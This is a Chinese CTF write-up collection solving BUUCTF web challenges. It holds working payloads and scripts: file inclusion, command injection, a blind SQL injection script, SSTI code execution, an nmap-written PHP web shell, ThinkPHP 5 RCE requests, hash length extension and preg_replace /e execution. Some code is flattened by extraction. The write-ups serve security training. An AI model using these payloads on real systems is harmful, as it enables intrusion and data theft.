WEB [ACTF2020 新生赛]Include 伪协议加文件包含
?file=php://filter/read/convert.base64-encode/resource=flag.php
[ACTF2020 新生赛]Exec 命令执行
127.0.0.1;cat /flag
[ACTF2020 新生赛]BackupFile
看题目直接扫目录
弱类型比较
?key=123
[ACTF2020 新生赛]Upload phtml绕过
[CISCN2019 华北赛区 Day2 Web1]Hack World 过滤了union、and、or、空格等,包括/**/
输入1/1
时会正常返回结果,可以判断这是数字型的sql注入。
可以用()
绕过空白符
payload
if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsurl = 'http://1bc1fd51-0f6f-43b5-bd9e-c19e86a6e238.node3.buuoj.cn/index.php' result = '' for x in range(1 , 50 ): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload = "if(ascii(substr((select(flag)from(flag)),{},1))>{},1,2)" .format(x, mid) data = { "id" :payload } response = requests.post(url, data = data) if 'Hello' in response.text: low = mid + 1 else : high = mid mid = (low + high) // 2 result += chr(int(mid)) print(result)
[ZJCTF 2019]NiZhuanSiWei 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET["text" ]; $file = $_GET["file" ]; $password = $_GET["password" ]; if (isset ($text)&&(file_get_contents($text,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents($text,'r' )."</h1></br>" ; if (preg_match("/flag/" ,$file)){ echo "Not now!" ; exit (); }else { include ($file); $password = unserialize($password); echo $password; } } else { highlight_file(__FILE__ ); } ?>
首先传参 text=welcome to the zjctf
这里要注意file_get_contents
,不能直接GET传参,要通过伪协议。
data:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
input: text=php://input,然后POST welcome to the zjctf
按照提示读取useless.php
useless.php
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag { public $file; public function __tostring () { if (isset ($this ->file)){ echo file_get_contents($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } ?>
exp.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class Flag { public $file='flag.php' ; public function __tostring () { if (isset ($this ->file)){ echo file_get_contents($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } $a= new Flag(); $a = serialize($a); echo $a;?>
BJDCTF2020]Easy MD5 headers中有提示
md5($pass,true)的结果是原始的二进制格式字符串,拼接到语句中就可能会造成SQL注入。
具体参考:http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/
输入密码 ffifdyop
,即可登录。
来到下一关
直接数组绕过
http://3a0f2829-16ea-4ecd-b023-04ac47f0511a.node3.buuoj.cn/levels91.php?a[]=2&b[]=3
下一关
还是数组绕过
或者利用工具 碰撞
[BJDCTF 2nd]fake google 随便输个字符串,会直接返回输入的字符串。结果的源码提示了SSTI
1
返回1,确实存在SSTI。而且没过滤。
查看根目录
1 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()" )}}{% endif %}{% endfor %}
接着用上面的读取flag即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php if (isset ($_SERVER['HTTP_X_FORWARDED_FOR' ])) { $_SERVER['REMOTE_ADDR' ] = $_SERVER['HTTP_X_FORWARDED_FOR' ]; } if (!isset ($_GET['host' ])) { highlight_file(__FILE__ ); } else { $host = $_GET['host' ]; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin" . $_SERVER['REMOTE_ADDR' ]); echo 'you are in sandbox ' .$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host); }
escapeshellarg()
和 escapeshellcmd(t)
同时使用会造成单引号逃逸
具体参考:https://paper.seebug.org/164/
1 2 3 4 1. 传入的参数是:172.17 .0 .2 ' -v -d a=1 2. 经过escapeshellarg处理后变成了'172.17 .0 .2 '\'' -v -d a=1 ',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。3. 经过escapeshellcmd处理后变成'172.17 .0 .2 '\\'' -v -d a=1 \',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义4. 最后执行的命令是curl '172.17 .0 .2 '\\'' -v -d a=1 \',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17 .0 .2 \ -v -d a=1 ',即向172.17 .0 .2 \发起请求,POST 数据为a=1 '。
然后 nmap命令中 有一个参数-oG可以实现将命令和结果写到文件
payload host=' <?php @eval($_POST["a"]);?> -oG a.php '
[RoarCTF 2019]Easy Java WEB-INF/web.xml泄露
1 2 3 4 5 6 7 WEB-INF主要包含一下文件或目录: /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class ,他们不能包含在 .jar 文件中 /WEB-INF/lib /:存放web 应用需要的各种JAR 文件,放置仅在这个应用中要求使用的jar 文件,如数据库驱动jar 文件 /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件 漏洞检测以及利用方法:通过找到web.xml文件,推断class 文件的路径,最后直接下载class 文件,在通过反编译class 文件,得到网站源码
漏洞成因:
1 通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。一般情况,jsp引擎默认都是禁止访问WEB-INF 目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF 目录就好了: location ~ ^/WEB-INF /* { deny all; } 或者return 404 ; 或者其他!
第一个坑,download请求要POST参数,GET无效
先读取web.xml
再读取FlagController.class
[GXYCTF2019]BabySQli 页面源码有一串字符,先Base32后Base64解码
select * from user where username = '$name'
然后测试下页面逻辑,先判断用户是否存在,不存在就返回wrong user!
,存在则接着判断密码,密码错误则返回wrong pass!
大概过滤了这些字符
直接可以用联合注入,表里有三列
进行用联合注入,回显wrong user!,说明用户不在第一列
尝试将用户名放在第二列,回显wrong pass!,找到用户名在第二列
1 1' union select 1 ,'admin' ,3 #
用户名输入(‘e10adc3949ba59abbe56e057f20f883e’是 123456的md5值)
1 1' union select 1 ,'admin' ,'e10adc3949ba59abbe56e057f20f883e' #
[BJDCTF 2nd]old-hack 主页提示ThinkPHP5框架,直接用exp打,报错得到版本信息
1 ?s=index/think\app/invokefunction&function=call_user_ func_array&vars[0 ]=system&vars[1 ][ ]=whoami
然后直接用5.0.23exp打
1 2 /index .php?s=captcha POST: _method=__construct&filter[]=system&method =get &server [REQUEST_METHOD ]=ls -al
[De1CTF 2019]SSRF Me 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16 ) class Task : def __init__ (self, action, param, sign, ip) : self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if (not os.path.exists(self.sandbox)): os.mkdir(self.sandbox) def Exec (self) : result = {} result['code' ] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w' ) resp = scan(self.param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self) : if (getSign(self.action, self.param) == self.sign): return True else : return False @app.route("/geneSign", methods=['GET', 'POST']) def geneSign () : param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) @app.route('/De1ta',methods=['GET','POST']) def challenge () : action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/') def index () : return open("code.txt" ,"r" ).read() def scan (param) : socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param) : return hashlib.md5(secert_key + param + action).hexdigest() def md5 (content) : return hashlib.md5(content).hexdigest() def waf (param) : check=param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' ,port=80 )
在/De1ta
路由下
第一关要绕过waf,不能用 gopher
和file
协议,但urllib模块支持 local_file
协议,而且题目告诉flag
在 ./flag.txt
。
一般情况下,local_file:flag.txt
是相对路径,local_file:///flag.txt
则是绝对路径。
第二关则要绕md5校验
关键在getSign(self.action, self.param) == self.sign
,而getSign()
相当于md5(secert_key + param + action)
,secert_key
是脚本随机生成的16位字符串。
在/geneSign
路由下提交param=local_file:flag.txt
得到md5(secert_key + local_file:flag.txt + scan)
既fefdccdd74fd9e221ea27ca5458d45c7
然后使用 hashpump
构造字符串
因为 param(local_file:flag)
会在服务端拼接,所以action
删除要local_file:flag
字段
@一叶飘零师傅的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import hashpumpyimport requestsimport urlliburl = 'local_file:///proc/self/cwd/flag.txt' r = requests.get('http://a07ad6bf-0c49-4483-8f5f-9b268185cc87.node3.buuoj.cn/geneSign?param=' +url) old_sign = r.content new_sign = hashpumpy.hashpump(old_sign, url + 'scan' , 'read' , 16 ) cookies={ 'sign' : new_sign[0 ],'action' : urllib.quote(new_sign[1 ][len(url):])} r = requests.get('http://a07ad6bf-0c49-4483-8f5f-9b268185cc87.node3.buuoj.cn/De1ta?param=' +url, cookies=cookies) print(r.content)
[GYCTF2020]Blacklist 堆叠注入
1 2 1';show tables ; 1'; show columns from FlagHere;
flag就在表FlagHere
中
过滤如下:
preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
set被禁,不能用进制绕过
利用handler绕过,payload:
1 1'; handler FlagHere open as `a` ; handler `a` read next ;
[GXYCTF2019]禁止套娃 啥也没有,最后扫目录
githack还原文件
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php include "flag.php" ;echo "flag在哪里呢?<br>" ;if (isset ($_GET['exp' ])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET['exp' ])) { if (';' === preg_replace('/[a-z,_]+\((?R)?\)/' , NULL , $_GET['exp' ])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i' , $_GET['exp' ])) { @eval ($_GET['exp' ]); } else { die ("还差一点哦!" ); } } else { die ("再好好想想!" ); } } else { die ("还想读flag,臭弟弟!" ); } } ?>
无参RCE
et
被禁 getenv()
getallheaders()
get_defined_vars()
都用不了
读取文件,不能使用file_get_contents()
,但是可以可以使用readfile()
或highlight_file()
以及其别名函数show_source()
这里使用 session_id()
本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并不依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的。 使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。 session_id()可以获取到当前的session id。
其他payload
exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值。pos() 是current() 的别名。
array_reverse() 以相反的元素顺序返回数组
highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
//多刷新几次
array_flip()交换数组的键和值
array_rand()从数组中随机取出一个或多个单元
[0CTF 2016]piapiapia SQL注入,抓包,页面源码都没有有用的信息,后面扫目录拿到源码
其中config.php有$flag变量,所以应该是读取服务端 config.php文件。
根据update.php $profile['nickname']
变量通过传参数组可以绕过die()
,从而可控nickname
接着是反序列化 $profile
$user->update_profile($username, serialize($profile));
反序列化的字符串可控,
1 2 3 4 5 6 7 8 9 10 $s = "Hello World" ; $a = array ($s); var_dump(serialize($a)); $fake = 'a:1:{i:0;s:7:"Hello "";}World";}' ; var_dump(unserialize($fake));
虽然$profile['nickname']
可控,但序列化是在服务器端,s
的长度无法控制,也就无法逃逸
慢慢看源码
接着在profile.php
调用了
$profile=$user->show_profile($username);
这个show_proflie()
具体如下
1 2 3 4 5 6 public function update_profile ($username, $new_profile) { $username = parent ::filter($username); $new_profile = parent ::filter($new_profile); $where = "username = '$username'" ; return parent ::update($this ->table, 'profile' , $new_profile, $where); }
注意filter()
函数
1 2 3 4 5 6 7 8 9 function filter ($string) //class .php { $escape = array ('\'' , '\\\\' ); $escape = '/' . implode('|' , $escape) . '/' ; $string = preg_replace($escape, '_' , $string); $safe = array ('select' , 'insert' , 'update' , 'delete' , 'where' ); $safe = '/' . implode('|' , $safe) . '/i' ; return preg_replace($safe, 'hacker' , $string); }
可以看到 $profile
存入数据库未被过滤,取出数据库时却被过滤了
而如果将where
替换成 hacker
例如
1 s :5 :"where" >> s :5 :"hacker" >>反序列化 hacke ,r 则可以按我们的意愿修改,这样在不修改s 的情况下,控制了反序列化
接下来的插入数据其实和SQL注入很像,利用 ";}
闭合前一部分,接着注入数据
1 2 3 4 5 a:4 :{s:5 :"phone" ;s:11 :"66666666666" ;s:5 :"email" ;s:11 :"test@qq.com" ;s:8 :"nickname" ;a:1 :{i :0 ;s:4 :"here" ;}s:5 :"photo" ;s:39 :"upload/098f6bcd4621d373cade4e832627b4f6" ;}' 在here后面闭合即 {i :0 ;s:4 :"here" ;} "} 插入数据 {i:0;s:4:" here";}s:5:" photo";s:10:" config.php";} " }
所以我们要插入 ";}s:5:"photo";s:10:"config.php";}
长度为34,即我们需要34个where
测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php $phone="66666666666" ; $email = "test@qq.com" ; $nickname=array ('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}' ); $file = array ("size" =>"10" ,"name" =>"test" ); if (!preg_match('/^\d{11}$/' , $phone)) die ('Invalid phone' ); if (!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/' , $email)) die ('Invalid email' ); if (preg_match('/[^a-zA-Z0-9_]/' , $nickname) || strlen($nickname) > 10 ) die ('Invalid nickname' ); if ($file['size' ] < 5 or $file['size' ] > 1000000 ) die ('Photo size error' ); $profile['phone' ] = $phone; $profile['email' ] = $email; $profile['nickname' ] = $nickname; $profile['photo' ] = 'upload/' . md5($file['name' ]); var_dump(serialize($profile)); $profile = 'a:4:{s:5:"phone";s:11:"66666666666";s:5:"email";s:11:"test@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/098f6bcd4621d373cade4e832627b4f6";}' ; function filter ($string) //class .php { $escape = array ('\'' , '\\\\' ); $escape = '/' . implode('|' , $escape) . '/' ; $string = preg_replace($escape, '_' , $string); $safe = array ('select' , 'insert' , 'update' , 'delete' , 'where' ); $safe = '/' . implode('|' , $safe) . '/i' ; return preg_replace($safe, 'hacker' , $string); true} $profile = filter($profile); $profile = unserialize($profile); $phone = $profile['phone' ]; $email = $profile['email' ]; $nickname = $profile['nickname' ]; $photo = base64_encode(file_get_contents($profile['photo' ])); var_dump($profile['photo' ]); var_dump($photo);
[SUCTF 2019]Pythonginx blackhat
议题之一HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization
根据源码写爆破脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from urllib.parse import urlparse, urlunsplit, urlsplitfrom urllib import parsedef get_unicode () : for x in range(65535 ): uni = chr(x) url = "http://suctf.c{}" .format(uni) try : if getUrl(url): print(parse.quote(chr(x))+" str: " + uni + ' unicode: \\u' + str(hex(x))[2 :]) except : pass def getUrl (url) : url = url host = parse.urlparse(url).hostname if host == 'suctf.cc' : return False parts = list(urlsplit(url)) host = parts[1 ] if host == 'suctf.cc' : return False newhost = [] for h in host.split('.' ): newhost.append(h.encode('idna' ).decode('utf-8' )) parts[1 ] = '.' .join(newhost) finalUrl = urlunsplit(parts).split(' ' )[0 ] host = parse.urlparse(finalUrl).hostname if host == 'suctf.cc' : return True else : return False if __name__ == '__main__' : get_unicode()
题目提示我们是nginx,所以我们去读取nginx的配置文件
这里读的路径是 /usr/local/nginx/conf/nginx.conf
1 http:// 94 cc5e34-bb0b-44 bb-b029-ca087a23f0b6.node3.buuoj.cn/getUrl?url=file:/ /suctf.c%E2%84%82/ ../../ ../../ ..//u sr/local/ nginx/conf/ nginx.conf
然后读flag就行
另外一种思路 是突破urlunsplit
函数定义在 urllib\parse.py
中
1 2 3 4 5 6 7 8 9 10 11 12 13 def urlunsplit (components) : scheme, netloc, url, query, fragment, _coerce_result = ( _coerce_args(*components)) if netloc or (scheme and scheme in uses_netloc and url[:2 ] != '//' ): if url and url[:1 ] != '/' : url = '/' + url url = '//' + (netloc or '' ) + url if scheme: url = scheme + ':' + url if query: url = url + '?' + query if fragment: url = url + '#' + fragment return _coerce_result(url)
从题目源码也可以看出,这个函数的用法大概就是把 url
各个部分组成 list
传进来。
我们来分析一下这个函数:
这里的 netloc
就是题目中拿来判断的 host
。
首先第一个 if
判断了 netloc
是否为空,如果不是空就进入代码块,第二个是判断 schema
是否为空。第三个第四个就不分析了。
仔细看看第二个 if
,这里并没有强制要求 netloc
要有东西,假设一下我们传入一个这样的 url
:
这个 url
传入入 parse.urlparse
时,netloc
是为空的,而 path
为 //abc
,当进入到 urlunsplit
后,netloc
为空不进入第一块代码,schema
为 file
,进入第二个代码块,拼接后 url
就变成了:file://abc
所以构造file:////suctf.cc/../../../../../etc/passwd
贴下其他nginx配置文件
1 2 3 4 5 6 7 配置文件存放目录:/etc/ nginx 主配置文件:/etc/ nginx/conf/ nginx.conf 管理脚本:/usr/ lib64/systemd/ system/nginx.service 模块:/usr/ lisb64/nginx/ modules 应用程序:/usr/ sbin/nginx 程序默认存放位置:/usr/ share/nginx/ html 日志默认存放位置:/var/ log/nginx
[安洵杯 2019]easy_web url明显有有问题
img=TXpVek5UTTFNbVUzTURabE5qYz
=> base64 =>base64 => hex => 555.png
反过去 加密 index.php
下载源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8' ); $cmd = $_GET['cmd' ]; if (!isset($_GET['img' ]) || !isset($_GET['cmd' ])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=' ); $file = hex2bin(base64_decode(base64_decode($_GET['img' ]))); $file = preg_replace("/[^a-zA-Z0-9.]+/" , "" , $file); if (preg_match("/flag/i" , $file)) { echo '<img src ="./ctf3.jpeg">' ; die("xixi~ no flag" ); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>" ; echo "<br>" ; } echo $cmd; echo "<br>" ; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd)) { echo("forbid ~" ); echo "<br>" ; } else { if ((string)$_POST['a' ] !== (string)$_POST['b' ] && md5($_POST['a' ]) === md5($_POST['b' ])) { echo `$cmd`; } else { echo ("md5 is funny ~" ); } } ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color: } </style> <body> </body> </html>
md5强比较,工具跑一下就出来了
1 a=test%00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %1 D%E8 %EE %F4 %CB5 %F8 %8 F%80 %AB %5 B%04 %603 %BE %CFWJ7 %8 Aw5 v%0 EN%9 A%40 F%11 %C3 %15 %DC %80 %ED %A9 %F5 %D0K %00 %3 Co%06 %ED %3 A%22 %E2 %0 EI%C3 %5 B%C7 %C3 %96 t%F4 %0 B%A1 %26 %91 %7 EW%09 %A1 %A0R %AFWc %D5n %0 E%00 %2 Fj%8 A%AE %03 %C1 %BD %08 VEB%16 %F9v %21 %5 D%C9W %18 %C9U %29 %7 D%A2 %3 FyW%F6i %0 B%A6 %C0i %97 %CC %2 F%98 e%5 B%A6 %89 O%FF %EBq %DA %9 F%A5 %A7n %8 EV%9 B%2 A%FA %06 &b=test%00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %1 D%E8 %EE %F4 %CB5 %F8 %8 F%80 %AB %5 B%04 %603 %BE %CFWJ7 %0 Aw5 v%0 EN%9 A%40 F%11 %C3 %15 %DC %80 %ED %A9 %F5 %D0K %00 %3 Co%06 %ED %3 A%22 b%0 FI%C3 %5 B%C7 %C3 %96 t%F4 %0 B%A1 %26 %91 %FEW %09 %A1 %A0R %AFWc %D5n %0 E%00 %2 Fj%8 A%AE %03 %C1 %BD %08 VEB%96 %F9v %21 %5 D%C9W %18 %C9U %29 %7 D%A2 %3 FyW%F6i %0 B%A6 %C0i %97 %CC %2 F%98 %E5Z %A6 %89 O%FF %EBq %DA %9 F%A5 %A7n %8 E%D6 %9 B%2 A%FA %06
不能用数组绕过,string
强制类型转换后都是 “Array”
命令禁用了很多,但linux命令中可以加\,所以甚至可以ca\t /fl\ag
其他思路1:
sort命令:sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出。
其他思路2:
把flag移到web目录下,然后直接访问拿到flag
[BJDCTF2020]Mark loves cat .git泄露,githack拿源码
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php include 'flag.php' ;$yds = "dog" ; $is = "cat" ; $handsome = 'yds' ; foreach ($_POST as $x => $y){ $$x = $y; } foreach ($_GET as $x => $y){ $$x = $$y; } foreach ($_GET as $x => $y){ if ($_GET['flag' ] === $x && $x !== 'flag' ){ exit ($handsome); } } if (!isset ($_GET['flag' ]) && !isset ($_POST['flag' ])){ exit ($yds); } if ($_POST['flag' ] === 'flag' || $_GET['flag' ] === 'flag' ){ exit ($is); } echo "the flag is: " .$flag;
flag.php
1 2 3 <?php $flag = file_get_contents('/flag' );
存在变量覆盖
payload1: yds=flag
$$x = $$y
=> $(yds) = $(flag)
=> $yds=flag{xxxx}
=> exit($yds)
payload2:is=flag&flag=flag
$$x = $$y
=> $(is)=$(flag)
=> $is=flag{xxxx}
$$xx = $$y
=> $(flag)=$(flag)
=> $flag=flag{xxxx}
exit($is)
[GWCTF 2019]我有一个数据库 扫描到phpinfo.php和phpmyadmin 4.8.1
参考这篇文章:https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/
有一个文件包含漏洞,加上phpinfo.php上传临时文件getshell (:
想复杂了,直接包含/flag就行
payload:http://e5abf389-9025-4a73-a415-3e10dc57dc21.node3.buuoj.cn/phpmyadmin/index.php?target=db_sql.php%3f/../../../../../..//flag
[ASIS 2019]Unicorn shop 在https://www.compart.com/en/unicode/搜索 thousand 找大于1337的字符
提交 %E1%8D%BC
即可得到flag
[BJDCTF2020]The mystery of ip 按照提示加入header
1.Client-IP
2.X-Forwarded-For
3.Remote_Addr
均可以修改IP
php下的模板注入
[SWPU2019]Web1 登录了之后在发布广告处存在sql注入漏洞,我们输入的内容在输入后没有漏洞,当我们发布广告后查看广告详情的时候就造成了二次注入,从而产生了注入。
题目环境过滤了空格,我们使用/**/来进行绕过过滤了or,因此我们无法使用order by 以及information_schema这个库因为过滤了注释符,所以查询语句的最后我们要闭合单引号
无列名注入
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/’
这里我们将users这个表里面的查询的结果提供给外部查询,同时把列名转换成a,b,这样我们后面就直接查询a,b列就可以获得结果
1 -1 'unionselect1 , (selectgroup_concat(a)from(select1 ,2 asa,3 asbunionsele ct*fromusers)x),3 ,4 ,5 ,6 ,7 ,8 ,9 ,10 ,11 ,12 ,13 ,14 ,15 ,16 ,17 ,18 ,19 ,20 ,21 ,22 '
1 -1 'unionselect1 , (selectgroup_concat(b)from(select1 ,2 asa,3 asbunionsele ct*fromusers)x),3 ,4 ,5 ,6 ,7 ,8 ,9 ,10 ,11 ,12 ,13 ,14 ,15 ,16 ,17 ,18 ,19 ,20 ,21 ,22 '
[BJDCTF2020]ZJCTF,不过如此 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting(0 ); $text = $_GET["text" ]; $file = $_GET["file" ]; if (isset ($text)&&(file_get_contents($text,'r' )==="I have a dream" )){ echo "<br><h1>" .file_get_contents($text,'r' )."</h1></br>" ; if (preg_match("/flag/" ,$file)){ die ("Not now!" ); } include ($file); } else { highlight_file(__FILE__ ); } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php $id = $_GET['id' ]; $_SESSION['id' ] = $id; function complex ($re, $str) { return preg_replace( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str) { echo complex($re, $str). "\n" ; } function getFlag () {true@eval ($_GET['cmd' ]); }
preg_replace()使用的/e模式可以存在远程执行代码
payload:
1 2 /?.*={${phpinfo()} } \S*=${phpinfo()}
[BJDCTF 2nd]假猪套天下第一 确实第一
抓包发现 L0g1n.php
各种header集合
Header
解释
示例
Accept
指定客户端能够接收的内容类型
Accept: text/plain, text/html,application/json
Accept-Charset
浏览器可以接受的字符编码集。
Accept-Charset: iso-8859-5
Accept-Encoding
指定浏览器可以支持的web服务器返回内容压缩编码类型。
Accept-Encoding: compress, gzip
Accept-Language
浏览器可接受的语言
Accept-Language: en,zh
Accept-Ranges
可以请求网页实体的一个或者多个子范围字段
Accept-Ranges: bytes
Authorization
HTTP授权的授权证书
Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Cache-Control
指定请求和响应遵循的缓存机制
Cache-Control: no-cache
Connection
表示是否需要持久连接。(HTTP 1.1默认进行持久连接)
Connection: close
Cookie
HTTP请求发送时,会把保存在该请求域名下的所有cookie值一起发送给web服务器。
Cookie: $Version=1; Skin=new;
Content-Length
请求的内容长度
Content-Length: 348
Content-Type
请求的与实体对应的MIME信息
Content-Type: application/x-www-form-urlencoded
Date
请求发送的日期和时间
Date: Tue, 15 Nov 2010 08:12:31 GMT
Expect
请求的特定的服务器行为
Expect: 100-continue
From
发出请求的用户的Email
From: user@email.com
Host
指定请求的服务器的域名和端口号
Host: www.zcmhi.com
If-Match
只有请求内容与实体相匹配才有效
If-Match: “737060cd8c284d8af7ad3082f209582d”
If-Modified-Since
如果请求的部分在指定时间之后被修改则请求成功,未被修改则返回304代码
If-Modified-Since: Sat, 29 Oct 2010 19:43:31 GMT
If-None-Match
如果内容未改变返回304代码,参数为服务器先前发送的Etag,与服务器回应的Etag比较判断是否改变
If-None-Match: “737060cd8c284d8af7ad3082f209582d”
If-Range
如果实体未改变,服务器发送客户端丢失的部分,否则发送整个实体。参数也为Etag
If-Range: “737060cd8c284d8af7ad3082f209582d”
If-Unmodified-Since
只在实体在指定时间之后未被修改才请求成功
If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT
Max-Forwards
限制信息通过代理和网关传送的时间
Max-Forwards: 10
Pragma
用来包含实现特定的指令
Pragma: no-cache
Proxy-Authorization
连接到代理的授权证书
Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Range
只请求实体的一部分,指定范围
Range: bytes=500-999
